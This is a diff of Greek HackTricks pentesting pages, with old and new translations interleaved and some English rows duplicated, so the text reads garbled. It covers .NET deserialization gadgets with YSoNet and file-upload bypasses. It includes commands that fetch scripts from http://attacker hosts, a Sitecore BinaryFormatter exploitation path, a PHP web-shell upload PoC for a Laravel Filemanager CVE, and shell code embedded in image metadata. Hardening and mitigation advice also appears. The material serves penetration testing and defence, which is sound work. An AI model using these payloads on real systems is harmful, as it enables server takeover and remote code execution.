| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | Διαφθείρει την εγγραφή `DelegateSerializationHolder` έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε *οποιαδήποτε* μέθοδο που παρέχει ο επιτιθέμενος (π.χ. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Κακοποιεί το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να *παρακάμψει το .NET ≥4.8 type-filtering* και να καλέσει απευθείας τον **constructor** μιας παρεχόμενης κλάσης ή να **μεταγλωττίσει** ένα αρχείο C# επί τόπου | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Επωφελείται από την **παλιά XML** αναπαράσταση του `System.Data.DataSet` για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία `<ColumnMapping>` / `<DataType>` (προαιρετικά πλαστογραφώντας το assembly με `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Σε runtime με WPF ενεργοποιημένο (> .NET 5) αλυσιδώνει getters ιδιοτήτων μέχρι να φτάσει σε `System.CodeDom.Compiler.CompilerResults`, και στη συνέχεια *μεταγλωττίζει* ή *φορτώνει* μια DLL που παρέχεται με `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Χρησιμοποιεί το WPF `System.Windows.Data.ObjectDataProvider` για να καλέσει μια αυθαίρετη static μέθοδο με ελεγχόμενα ορίσματα. Το YSoNet προσθέτει μια βολική παραλλαγή `--xamlurl` για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Ενσωματώνει `ScriptBlock` μέσα σε `System.Management.Automation.PSObject` που εκτελείται όταν το PowerShell αποσειριοποιεί το αντικείμενο | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Όλα τα payloads **γράφονται στο *stdout*** από προεπιλογή, κάνοντας εύκολο να τα δρομολογήσετε (pipe) σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).
> Όλα τα payloads **γράφονται στο *stdout*** εξ ορισμού, καθιστώντας εύκολο το piping τους σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).
### Building / Installing YSoNet
### Κατασκευή / Εγκατάσταση YSoNet
Εάν δεν υπάρχουν προκατασκευασμένα binaries στο *Actions ➜ Artifacts* / *Releases*, η ακόλουθη **PowerShell** one-liner θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε *Release* mode:
Εάν δεν υπάρχουν προ-συγκροτημένα binaries στο *Actions ➜ Artifacts* / *Releases*, η παρακάτω **PowerShell** εντολή μιας γραμμής θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε λειτουργία *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -218,20 +216,20 @@ msbuild ysonet.sln -p:Configuration=Release
```
Το μεταγλωττισμένο `ysonet.exe` μπορεί στη συνέχεια να βρεθεί στο `ysonet/bin/Release/`.
### Ανίχνευση & Σκληραγώγηση
* **Εντοπίστε** απροσδόκητες child processes του `w3wp.exe`, `PowerShell.exe`, ή οποιασδήποτε διεργασίας deserialising δεδομένα που παρέχονται από χρήστη (π.χ. `MessagePack`, `Json.NET`).
* Ενεργοποιήστε και **επιβάλλετε type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) όποτε ο legacy `BinaryFormatter` / `NetDataContractSerializer` δεν μπορεί να αφαιρεθεί.
* Όπου είναι δυνατό, μεταβείτε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με converters βασισμένους σε whitelist.
* Μπλοκάρετε τη φόρτωση επικίνδυνων WPF assemblies (`PresentationFramework`, `System.Workflow.*`) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται.
### Ανίχνευση & Σκληροποίηση
* **Εντοπίστε** μη αναμενόμενες παιδικές διεργασίες του `w3wp.exe`, `PowerShell.exe`, ή οποιασδήποτε διεργασίας πραγματοποιεί αποσειριοποίηση δεδομένων παρεχόμενων από τον χρήστη (π.χ. `MessagePack`, `Json.NET`).
* Ενεργοποιήστε και **επιβάλλετε φιλτράρισμα τύπων** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) όποτε ο legacy `BinaryFormatter` / `NetDataContractSerializer` δεν μπορεί να αφαιρεθεί.
* Όπου είναι δυνατόν μεταβείτε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με converters βασισμένους σε whitelist.
* Αποκλείστε τη φόρτωση επικίνδυνων WPF assemblies (`PresentationFramework`, `System.Workflow.*`) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται.
## Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ένας πρακτικός .NET sink προσβάσιμος σε authenticated Sitecore XP Content Editor ροές:
Ένας πρακτικός .NET sink προσβάσιμος σε αυθεντικοποιημένες ροές του Sitecore XP Content Editor:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` καλεί `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, το οποίο αναζητά ένα sibling element με `id="{iframeId}_inner"` και διαβάζει ένα `value` attribute που θεωρείται ως base64encoded serialized data. Το αποτέλεσμα γίνεται cast σε string και εισάγεται στο HTML.
- Sink API: `Sitecore.Convert.Base64ToObject(string)` τυλίγει `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, το οποίο αναζητά ένα αδελφό στοιχείο με `id="{iframeId}_inner"` και διαβάζει ένα attribute `value` που αντιμετωπίζεται ως base64encoded σειριοποιημένα δεδομένα. Το αποτέλεσμα μεταγλωττίζεται σε string και εισάγεται στο HTML.
Minimal endtoend (authenticated):
Ελάχιστο endtoend (αυθεντικοποιημένο):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,9 +244,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: οποιαδήποτε BinaryFormatter αλυσίδα που επιστρέφει ένα string (οι παρενέργειες εκτελούνται κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads.
- Gadget: οποιαδήποτε BinaryFormatter chain που επιστρέφει ένα string (sideeffects τρέχουν κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads.
Για μια πλήρη αλυσίδα που ξεκινά preauth με HTML cache poisoning σε Sitecore και οδηγεί σε αυτό το sink:
Για μια πλήρη αλυσίδα που ξεκινά preauth με HTML cache poisoning στο Sitecore και οδηγεί σε αυτό το sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

View File

@ -1,13 +1,13 @@
# Αποστολή αρχείων
# Μεταφόρτωση Αρχείων
{{#include ../../banners/hacktricks-training.md}}
## Γενική Μεθοδολογία για Αποστολή Αρχείων
## Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων
Άλλες χρήσιμες επεκτάσεις:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Εργασία σε PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Παράκαμψη ελέγχων καταλήξεων αρχείων
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
1. Αν ισχύουν, **ελέγξτε** τις **παραπάνω επεκτάσεις.** Δοκιμάστε επίσης με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Ελέγξτε **το να προσθέσετε μια έγκυρη επέκταση πριν** από την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
1. Εάν ισχύουν, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Ελέγξτε **προσθήκη έγκυρης επέκτασης πριν** την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
- _file.png.php_
- _file.png.Php5_
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επεκτάσεις**_)
3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους χαρακτήρες **ascii** και **Unicode**. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη junk δεδομένων** (**null** bytes) μεταξύ επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε καλύτερο payload._
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη σκουπιδιών** (bytes **null**) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε καλύτερο payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Προσθέστε **άλλο ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
5. Προσθέστε **ένα ακόμη επίπεδο επεκτάσεων** στο προηγούμενο έλεγχο:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Προσπαθήστε να βάλετε την **επέκταση εκτέλεσης πριν από την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λανθασμένα ρυθμισμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση **.php**, αλλά όχι απαραίτητα καταλήγοντας σε .php, θα εκτελέσει κώδικα):
6. Δοκιμάστε να τοποθετήσετε την **επέκταση εκτέλεσης πριν την έγκυρη επέκταση** και ελπίζετε ότι ο διακομιστής είναι λανθασμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση .php — αλλά όχι απαραίτητα τελειώνοντας σε .php — θα εκτελεί κώδικα):
- _ex: file.php.png_
7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να τροποποιηθεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**" μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη μιας τελείας μετά από αυτό το μοτίβο μπορεί επίσης να βοηθήσει στην παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.")
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
7. Χρήση **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, θα εισαχθεί χαρακτήρας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το "**::$data**” pattern μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.”)
8. Προσπαθήστε να σπάσετε τα όρια μήκους ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Κάποιοι upload handlers αφαιρούν ή κανονικοποιούν τους τελείες (trailing dot) από το αποθηκευμένο όνομα αρχείου. Στην UniSharps Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων κάνοντας:
Κάποιοι handlers ανέβασματος περικόπτουν ή κανονικοποιούν τους τελικούς χαρακτήρες τελείας από το αποθηκευμένο όνομα αρχείου. Στο UniSharps Laravel Filemanager (unisharp/laravel-filemanager) σε εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε την επικύρωση επεκτάσεων με:
- Χρησιμοποιώντας ένα έγκυρο image MIME και magic header (π.χ., PNGs `\x89PNG\r\n\x1a\n`).
- Ονομάζοντας το ανέβασμα αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ., `shell.php.`
- Ο server αφαιρεί την trailing dot και αποθηκεύει `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε ένα web-served directory (default public storage like `/storage/files/`).
- Χρήση έγκυρου image MIME και magic header (π.χ. PNGs `\x89PNG\r\n\x1a\n`).
- Ονομάζοντας το ανεβασμένο αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ. `shell.php.`.
- Ο server αφαιρεί την τελική τελεία και αποθηκεύει το `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε φάκελο που σερβίρεται από τον web server (προεπιλεγμένος public storage όπως `/storage/files/`).
Ελάχιστο PoC (Burp Repeater):
```http
@ -80,51 +80,51 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Έπειτα, επισκεφθείτε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM):
Στη συνέχεια προσπελάστε το αποθηκευμένο μονοπάτι (τυπικό σε Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Μέτρα αντιμετώπισης:
- Αναβαθμίστε unisharp/laravel-filemanager σε ≥ 2.9.1.
- Επιβάλτε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename.
- Εξυπηρετήστε τα uploads από μη-εκτελέσιμες τοποθεσίες.
Mitigations:
- Αναβαθμίστε το unisharp/laravel-filemanager σε ≥ 2.9.1.
- Εφαρμόστε αυστηρές server-side allowlists και επικυρώστε ξανά το persisted filename.
- Σερβίρετε τα uploads από μη-εκτελέσιμες τοποθεσίες.
### Παρακάμψτε Content-Type, Magic Number, Compression & Resizing
### Παράκαμψη Content-Type, Magic Number, Compression & Resizing
- Παρακάμψτε τους ελέγχους του **Content-Type** ρυθμίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
- Παρακάμψτε τους ελέγχους **Content-Type** ορίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Παρακάμψτε τον έλεγχο του **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes of a real image** (confuse the _file_ command). Ή εισάγετε το shell μέσα στα **metadata**:\
- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψετε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Αν στην εικόνα σας εφαρμόζεται **compressions**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η web σελίδα θα μπορούσε επίσης να **αναδιαστασιολογεί** την **εικόνα**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Μια άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Αν **προστίθεται συμπίεση στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η web σελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει της αλλαγής μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Επίσης, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Άλλα κόλπα για δοκιμή
### Άλλα κόλπα για έλεγχο
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
- Πιθανή αποκάλυψη πληροφοριών:
1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
- Βρείτε ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
- Βρείτε ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
- **Πιθανή αποκάλυψη πληροφοριών**:
1. Κάντε upload **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανεβάζοντας ένα αρχείο με **"." , "..", ή "..."** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded files στον κατάλογο "/www/uploads/", το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στον κατάλογο "/www/".
4. Ανεβάστε ένα αρχείο που ίσως δεν διαγράφεται εύκολα, όπως **"...:.jpg"** σε **NTFS**. (Windows)
3. Ανέβασμα αρχείου με **"." , "..", ή "..." ως όνομα**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το "." filename θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στο "/www/" directory.
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**forbidden**) **names** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοίξει κατά λάθος από το θύμα.
### Ειδικά κόλπα για επεκτάσεις
### Ειδικά κόλπα επεκτάσεων
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο **.htaccess** trick για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο **.config** trick για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...)
Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτέλεση με php, ή include μέσα σε ένα script...).
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, κάποια στιγμή, κάποιος μπορεί να έχει επιτρέψει **την εκτέλεση αυτής της επέκτασης**.
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που είναι μόνο για **import files**, οπότε κάπου μπορεί να έχει επιτραπεί η **εκτέλεση αυτής της επέκτασης**.
## **Jetty RCE**
@ -134,11 +134,11 @@ GET /storage/files/0xdf.php?cmd=id
## **uWSGI RCE**
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την πρωτότυπη έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
